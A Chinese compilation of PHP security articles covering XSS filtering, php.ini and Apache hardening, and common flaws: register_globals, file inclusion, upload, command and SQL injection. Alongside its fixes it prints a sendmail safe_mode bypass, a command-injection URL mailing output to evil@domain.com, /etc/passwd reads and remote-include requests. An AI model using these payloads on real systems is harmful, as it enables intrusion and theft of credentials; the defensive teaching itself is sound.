PHP安全 XSS篇

时间:2022-08-02 07:47:18 其他范文 收藏本文 下载本文

PHP安全 XSS篇(共7篇)由网友“星池”投稿提供,下面小编为大家整理后的PHP安全 XSS篇,希望能帮助大家!

PHP安全 XSS篇

篇1:PHP安全 XSS篇

本质

网络上流行的攻击方式xss. 归根结底就是因为用户提交的数据被你信任的显示出来了. 为什么会信任呢? 可能是由于黑名单方式过滤有漏网之鱼. 可能是忘记转义输出了.这个就是xss攻击的本质了.

防范

了解了本质, 那防范就容易了. 对于绝大部分输出而言, 都是非富文本的. 一个htmlspecialchars函数就搞定了. 对于富文本,处理就相对复杂一些了,黑名单方式总是会有漏网之鱼,或者过滤掉了用户的正常输入. 而白名单方式, 就可以搞定所有你不喜欢的代码了~

观念纠错

我发现90%的人不知道什么时候应该进行什么操作. 比如, 我刚刚毕业就进的那家公司. 入库前, 所有数据htmlspecialchars处理. 然后,这就安全了. 事实上确实安全了. 不说多占用了多少空间,就说富文本的处理, 跨应用传递数据. 这个是行不通的.

还有的人, 入库前会先过滤危险代码. 这是出于什么考虑呢? 怕xss? 可xss不是发生在入库的时候呀! 如果说用户给你的数据不符合你的要求,为啥要入库. 大可提示用户, 您提交的数据不符合我们的规定格式.

例子

简单的例子PHP

echo $_GET['text']; //XSS!

echo htmlspecialchars($_GET['text']); //非富文本,选择此方式输出

echo WhiteListFiter::filter($_GET['text']); //富文本,选择此方式输出 当然, 这个函数需要你自己去写. 也可以用我写好的.见下边.

白名单过滤函数

白名单方式过滤HTMLPHP

/**

* 白名单方式过滤HTML

* @author wclssdn@yeah.net

*

*/

class HtmlFilter{

/**

* 白名单

* @var array

*/

private $whiteList = array;

public function __construct(array $whiteList = array()){

$this->whiteList = $whiteList;

}

/**

* 添加HTML标签白名单

* @param string $label

*/

public function addLabel($label, array $rule = array()){

$this->whiteList[$label] || $this->whiteList[$label] = $rule;

}

/**

* 为标签添加过滤规则的可允许值

* @param string $label 标签

* @param string $attribute 属性

* @param array $values 可允许的值

*/

public function addValues($label, $attribute, array $values){

if (isset($this->whiteList[$label][$attribute]['grep'])){

unset($this->whiteList[$label][$attribute]['grep']);

}

$this->whiteList[$label][$attribute]['values'] = $values;

}

/**

* 为标签添加正则过滤规则

* @param string $label 标签

* @param string $grep 过滤规则

*/

public function addGrep($label, $attribute, $grep){

if (isset($this->whiteList[$label][$attribute]['values'])){

unset($this->whiteList[$label][$attribute]['values']);

}

$this->whiteList[$label][$attribute]['grep'] = $grep;

}

/**

* 获取白名单

* @return array

*/

public function getWhiteList(){

return $this->whiteList;

}

/**

* 执行过滤

* @param string $htmlcode

* @return string

*/

function filter($htmlcode){

if (empty($htmlcode)){

return '';

}

//只保留允许的标签

$htmlcode = strip_tags($htmlcode, implode('', array_map(create_function('$key', 'return “<{$key}>”;'), array_keys($this->whiteList))));

foreach ($this->whiteList as $whiteLabel => $rule){

$clean = ''; //某个白名单中的标签过滤后的HTML代码, 非所有标签都过滤后的HTML代码

$unclean = $htmlcode; //正在过滤的代码, 可能是已经过滤过某些标签后的HTML代码

$found = false;  //是否找到了标签进行处理

while (($pos = strpos($unclean, “<{$whiteLabel}”)) !== false){  //查找是否存在标签

$found = true;

$endpos = strpos($unclean, '>', $pos);  //找到此标签结束位置

if ($endpos === false){

break;  //找不到匹配结束标签, 直接退出

}

$label = substr($unclean, $pos, $endpos - $pos + 1);  //把这个标签的整段截取出来

if (!$rule){ //没规则, 就把所有可能存在的属性干掉

$label = “<{$whiteLabel}>”;

}elseif (is_array($rule)){  //如果有针对此标签的规则, 则根据规则检验

$pos1 = strpos($label, ' '); //查找第一个空格

if ($pos1 === false){ //没有空格的话, 也重新组装下此标签

$label = “<{$whiteLabel}>”;

}else{

$clean2 = “<{$whiteLabel}”; //标签内过滤后的属性字符串

foreach ($rule as $attribute => $attributeRule){  //align => 'values' => array('left', 'right', 'center')

if (($pos2 = strpos($label, $attribute)) === false){

continue;  //如果不存在此属性就继续查找其他属性

}

$pos3 = strpos($label, '“', $pos2);  //查找第一个双引号

$pos4 = strpos($label, '”', $pos3 + 1);  //查找第二个双引号

$attstr = substr($label, $pos3 + 1, $pos4 - $pos3 - 1);  //把属性字符串拿出来, +1: 前边的“不要. -1: 后边的”不要

if ($attribute == 'style'){  //style的特例, 需要判断其中每一个值

$attarray = explode(';', $attstr);  //获得style中的每个属性:值

foreach ($attarray as $at => $va){

$va = explode(':', $va);  //把每个属性拿出来比如 float => left, color => #fffff

if (!$attributeRule[$va[0]]){  //如果不在白名单中

unset($attarray[$at]);

continue;

}

if ($attributeRule[$va[0]]['values'] && !in_array($va[1], $attributeRule[$va[0]]['values'])){

unset($attarray[$at]);

continue;

}

if ($attributeRule[$va[0]]['grep'] && !preg_match($attributeRule[$va[0]]['grep'], $va[1])){

unset($attarray[$at]);

continue;

}

}

$attstr = $attarray ? ' style=“' . implode(';', $attarray) . '”' : '';

$clean2 .= $attstr;

}else{

//如果规定了只能允许的值, 但是属性值不在允许范围内, 过滤

if ($attributeRule['values'] && in_array($attstr, $attributeRule['values'], true)){

$clean2 .= “ {$attribute}=”{$attstr}“”;

}

//如果规定了值的正则, 则根据正则匹配过滤

if ($attributeRule['grep'] && preg_match($attributeRule['grep'], $attstr)){

$clean2 .= “ {$attribute}=”{$attstr}“”;

}

}

}

$label = $clean2 . '>';

}

}

$unclean = substr_replace($unclean, $label, $pos, $endpos - $pos + 1);  //替换未过滤前的那段代码为过滤后的代码

$clean .= substr($unclean, 0, $pos + strlen($label)); //把处理过的附加到此变量中保存

$unclean = substr($unclean, $pos + strlen($label));  //未处理的代码

}

if ($found){ //没处理过不保存

$htmlcode = $clean;  //保存清理过的代码

if ($unclean){ //如果有处理完, 还剩下的, 就附加上

$htmlcode .= $unclean;

}

}

}

return $htmlcode;

}

}

$whiteList = array(

'b' => '', //标签

'br' => '',

'br/' => '',

'p' => array(

'align' => array(  //标签中可存在的属性

'values' => array('left', 'right', 'center'),  //属性可允许的值

),

'style' => array(

'float' => array(

'values' => array('left', 'right'),  //属性可允许的值

),

),

),

'div' => array( //标签

'align' => array(  //标签中可存在的属性

'values' => array('left', 'right', 'center'),  //属性可允许的值

),

'style' => array(

'float' => array(

'values' => array('left', 'right'),  //属性可允许的值

),

),

),

'img' => array(  //标签

'width' => array(  //标签中可存在的属性

'grep' => '#^[1-9][0-9]{0,3}$#s',  //属性的正则校验规则

),

'height' => array(

'grep' => '#^[1-9][0-9]{0,3}$#s',

),

),

);

$htmlcode = <<

ssssssssssssssssssss

??

EOF;

//$htmlcode = str_repeat($htmlcode, 1000);

$htmlFilter = new HtmlFilter($whiteList);

$start = microtime(1);

//$htmlFilter->addLabel('a', array('href' => array('values' => array('#'))));

$htmlFilter->addValues('a', 'href', array('#'));

var_dump($htmlFilter->filter($htmlcode));

echo PHP_EOL, (microtime(1) - $start);

当然, 那个$whiteList配置需要根据你自己的需求去写. 不在里边的是会被过滤掉的哦~~

篇2:PHP安全配置

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全,当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

packetstormsecurity.org/0204-exploits/7350fun

hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

执行如下的URL:

foo.com/evil.php?bar=;/usr/bin/id|mailevil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样

$script=“/tmp/script123”;

$cf=“/tmp/cf123”;

$fd = fopen($cf, “w”);

fwrite($fd, “OQ/tmp

Sparse=0

R$*” . chr(9) . “$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script”);

fclose($fd);

$fd = fopen($script, “w”);

fwrite($fd, “rm -f $script. $cf; ”);

fwrite($fd, $cmd);

fclose($fd);

mail(“nobody”, “”, “”, “”, “-C$cf”);

?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:

Options FollowSymLinks

php_admin_value safe_mode 1

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。

所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

几个文件的属性如下:

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r--r-- 1 root root 4110 Oct 26 index.html

-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script. whose uid/gid is 33/33 is not allowed to access ./ owned by uid/gid 0/0 in /var/www/test.php on line 1

如果 作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string

当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string

本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制


或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = “EGPCS”(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:

//test_1.php

if ($pass == “hello”)

$auth = 1;

if ($auth == 1)

echo “some important information”;

else

echo “nothing”;

?>

攻击者只需用如下的请求就能绕过检查:

victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:www.securityfocus.com/bid/3361

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

//test_2.php

if (!($str = readfile(“$filename”))) {

echo(“Could not open file: $filename

n”);

exit;

}

else {

echo $str;

}

?>

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身:

victim/test_2.php?filename=test_2.php

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

php_admin_value open_basedir /usr/local/apache/htdocs

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了,

4、包含文件

极易受攻击的代码片断:

//test_3.php

if(file_exists($filename))

include(“$filename”);

?>

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

victim/test_3.php?filename=/etc/passwd

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如attack/attack.txt的内容是/etc“)?>,那么如下的请求就可以在目标主机执行命令ls /etc:

victim/test_3.php?filename=attack/attack.txt

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

对于另外一种形式,如下代码片断:

//test_4.php

include(”$lib/config.php“);

?>

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

victim/test_4.php?lib=attack

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen = Off

重启apache。

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )

$file_size #上传文件的大小

$file_name #上传文件的原始名称

$file_type #上传文件的类型

推荐使用:

$HTTP_POST_FILES['file']['tmp_name']

$HTTP_POST_FILES['file']['size']

$HTTP_POST_FILES['file']['name']

$HTTP_POST_FILES['file']['type']

这是一个最简单的文件上传代码:

//test_5.php

if(isset($upload) && $file != ”none“) {

copy($file, ”/usr/local/apache/htdocs/upload/“.$file_name);

echo ”文件“.$file_name.”上传成功!点击继续上传“;

exit;

}

?>

文件上传

上传文件:

这样的上传代码存在读取任意文件和执行命令的重大问题。

下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写


)下的attack.txt文件里:

victim/test_5.php?upload=1&file=/et...name=attack.txt

然后可以用如下请求读取口令文件:

victim/test/attack.txt

攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。

攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。

攻击者还可以上传PHP脚本执行主机的命令。

解决方法:

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。

使用$HTTP_POST_FILES数组来读取用户上传的文件变量。

严格检查上传变量。比如不允许是php脚本文件。

把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。

把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。

严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。

对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现:

php_flag engine off

#如果是php3换成php3_engine off

重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件也没有问题,只能直接显示源码。

6、命令执行

下面的代码片断是从PHPNetToolpack摘出,详细的描述见:

www.securityfocus.com/bid/4303

//test_6.php

system(”traceroute $a_query“,$ret_strs);

?>

由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。

攻击者输入如下请求可以执行cat /etc/passwd命令:

victim/test_6.php?a_query=www.example.com;cat/etc/passwd

PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险,慎用。如果要使用一定要严格检查用户输入。

解决方法:

要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。

启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。

7、sql_inject

如下的SQL语句如果未对变量进行处理就会存在问题:

select * from login where user='$user' and pass='$pass'

攻击者可以用户名和口令都输入1' or 1='1绕过验证。

不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了:

select * from login where user='1' or 1='1' and pass='1' or 1='1'

从而避免了此类sql_inject攻击。

对于数字类型的字段,很多程序员会这样写:

select * from test where id=$id

由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,没有sqlserver等数据库有执行命令的SQL语句,而且PHP的mysql_query()函数也只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。

解决方法:

要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。

即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数字。

在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也避免了程序出现问题被 select INTO OUTFILE ... 这种攻击。

8、警告及错误信息

PHP默认显示所有的警告及错误信息:

error_reporting = E_ALL & ~E_NOTICE

display_errors = On

在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。

正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。

修改php.ini中关于Error handling and logging部分内容:

error_reporting = E_ALL

display_errors = Off

log_errors = On

error_log = /usr/local/apache/logs/php_error.log

然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。

9、disable_functions

如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选项不能在httpd.conf里设置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。

10、disable_classes

这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。也就是说 ”open_basedir = /dir/incl“ 也会允许访问 ”/dir/include“ 和 ”/dir/incls“,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:”open_basedir = /dir/incl/“。

可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。

四、其它安全配置

1、取消其它用户对常用、重要系统命令的读写执行权限

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。

如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作,

2、去掉apache日志其它用户的读权限

apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。

如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。

当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

篇3:什么是PHP安全?

剑心

首先,对于一个网站来说,他的安全绝对不仅仅是服务器的安全,一个服务器要想保证信息上的安全,必须保证环境是安全的,就是说他所处的网络环境是安全的,在机房环境里要保证他的数据包不能够被劫持,被嗅叹。保证了网络环境的安全我们还要保证服务器本身的安全。一台服务器往往不只是配置一个服务的,常常www和数据库跑在一个服务器上,那么,请保证所有开放的服务都是安全的,用适当的防火墙策略阻止掉不必要的服务,或者尽量将服务分配到不同的主机上,至少能保证你的mysql服务器被人入侵之后,你的www服务还是安全的,

在保证了服务器的安全之后,还有很多的工作要做。假设你的服务器上不只开放一个站,那么你还需要配置服务器文件系统的安全,保证各个网站之间的绝对独立。够了么?不,你还要保证你的www服务软件不存在缺陷,保证和服务器一样,最新的补丁都已经完全,保证你的配置文件里已经过滤掉危险的因素。

如果你真正追求安全,那么在完全考虑了上面的这些环节之后我们就可以开始讨论php的安全了。php的安全我想又包括php本身的安全,还有就是用php编写的脚本程序也就是应用层次上的安全。php本身的安全包括php的安全配置,包括php底层代码的缺陷。

篇4:php安全之谜(PHP Undergroud Security)

文章作者:Omnipresent

译文作者:riusksk(泉哥)

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

-[ 作者信息 ]-----------------------------------------------------------------------

标题: ”PHP Undergroud Security“

作者: Omnipresent

邮箱: omnipresent@email.it - omni@playhack.net

主页: omni.playhack.net - www.playhack.net

日期: -04-12

---------------------------------------------------------------------------------

-[ 译者信息 ]-----------------------------------------------------------------------

译者:riusksk(泉哥)

邮箱:riusksk@qq.com

主页: riusksk.blogbus.com

日期:-11-15

---------------------------------------------------------------------------------

-[ 摘要 ]---------------------------------------------------------------------

0x00: 前言

0x01: 关注全局变量

#          修补

0x02: 文件包含

# 修补

0x03: 跨站脚本

0x04: SQL注入

_ 0x04a: 绕过登陆验证

_ 0x04b: 1 Query? No.. 2 one!(译注:不好翻译,还是保留原文吧!)

# 修补

0x05: 文件遍历

# 修补

0x05: 结论

---[ 0x00: 前言]

大家好!首先对我糟糕的英语表示抱歉,因为它不是我的母语.

在本教程中,我将会向大家介绍一些主要的php漏洞,以及如何发现、利用并修补它!

-----------------------------------------------------------------------------[/]

---[ 0x01: 关注全局变量]

在php中,你并不一定需要声明变量(这对程序员来说确实是件好事),当你必须使用它时它会“自动”创建的,你可能认为这是件不错的事,确实如此,但这只是偶而发生的事情。

众所周之,PHP经常要获取用户的输入值,并对其进行处理。假如我们在使用一个未声明过的变量时,就可能会引发web程序的安全问题。例如下面一段代码:

[...]

if ($is_admin == 1) {

//Yes, I'm the admin so call the Administration Pannel

[...]

} else {

//No, I'm not the admin

[...]

}

上面的变量$is_admin ,我们在使用前并未声明过,那么我们是否可以绕过该变量(在bugged.php文件中)而访问未经授权的管理面板呢?答案是肯定,但我们该如何添加管理认证权限呢?其实很简单,比如:

remote_host/bugged.php?is_admin=1

---[ 修补 ]---

如何修补该漏洞呢?这很容易:在if语句前声明变量$is_admin 即可,代码如下:

$is_admin = 0;

[...]

if ($is_admin == 1) {

//Yes, I'm the admin so call the Administration Pannel(为真,则说明是管理员,因此被重定向管理界面)

[...]

} else {

//No, I'm not the admin(为假,则不是管理员)

[...]

}

-----------------------------------------------------------------------------[/]

---[ 0x02: 文件包含]

-----[本地文件包含]

PHP是种杰出的语言,强大而简单;但是如果你不想在你的代码中出现安全问题,那么你就必须注意一下你的代码了。

在一些情况下,使用动态包含文件(部分路径名存在某个变量中)确实是件好事。让我们看一下下面的代码:

include ”/users/“.$include_path.”.php“;

[...]

?>

变量$include_path 在使用前并未进行任何声明,因此攻击者可以在该变量中输入恶意数据,使其包含其它文件(比如/etc/passwd..)。

用户通过修改URL中的$include_path 变量值可以很容易浏览其它文件。例如:

remote_host/bugged.php?include_path=../../../../etc/passwd%00

包含后的结果如下:

include ”/users/../../../../etc/passwd%00.php“

[...]

?>

因此攻击者可以窃取到存在服务器上的所有密码。

- [ 注意 ] -

%00是一个NULL字符,用于“删除”PHP文件扩展名。如果省略掉NULL,将只会显示PHP文件的内容,因为包含文件的扩展名是PHP(include ”/users/“.$include_path.”.PHP“)

-------------------------------------------------------------------------------

-----[ 远程文件包含]

先看一下下面的代码:

[...]

include($_GET['pag']);

[...]

?>

正如我们所看到的,变量$page 在使用前并未进行任何验证,因此恶意用户可以通过浏览器包含或者调用他的脚本,从而获得被害者电脑的访问权或者像上面说的一样――浏览文件。

例1(提权):

remote_host/inc.php?pag=[Evil Script. - our shell located on our server]

例2(浏览文件):

remote_host/inc.php?pag=/etc/passwd

---[ 修补 ]---

如何解决这种问题呢?验证输入值就可以了。用得最多的一个验证方法就是创建一个可访问页面的列表,如下:

[...]

$pag = $_GET['pag'];

$pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');

if(in_array($pag, $pages))

{

include($pag);

{

else

{

die(”Hacking Attempt!“);

}

[...]

-----------------------------------------------------------------------------[/]

---[ 0x03: 跨站脚本]

你是否想知道一些关于XSS的资料呢?关于这方面的内容,我的朋友已经写了很多了,我想我没必要再做重复的工作了,具体可以看下面的链接:

[+] ”Cross-Site Scripting for Fun and Profit“

www.playhack.net/view.php?type=1&id=18

[+] ”Applying XSS to Phishing Attacks“

www.playhack.net/view.php?type=1&id=20

-----------------------------------------------------------------------------[/]

---[ 0x03: SQL 注入]

SQL注入,如名字所述:在一个存在漏洞的WEB程序中,你可以在请求语句中注入SQL语句。

-----------------------------------------------------------------------------[/]

------[ 0x04b 绕过登陆验证]

在举例之前,我们必须先知晓一些关于SQL的内容:

- (')  这是什么呢?对攻击者来说,这是一个SQL语法中的操作符,这在漏洞攻击中是非常重要的,它可以用于划分字符串…

- (#) 用于注释,'#'(没有分号),这在SQL语法中用于作注释用的,

记住它,因为它非常实用和重要!

- (;) 这个符号在数据库中可以用于构造新的请求语句。呆会我们看一下用它来入侵的实际操作,先看一下下面的例子(绕过登陆验证--获取管理权限):

// login.php

$nick = $_POST['nick'];

$pass = $_POST['pass'];

$link = mysql_connect('localhost', 'root', 'root') or die('Error: '.

mysql_error);

mysql_select_db(”sql_inj“, $link);

$query = mysql_query(”SELECT * FROM sql_inj WHERE nick ='“.$nick.”' AND pass ='“ .$pass. ”'“,

$link);

if (mysql_num_rows($query) == 0) {

echo ”“;

exit;

}

$logged = 1;

[...]

//EoF

?>

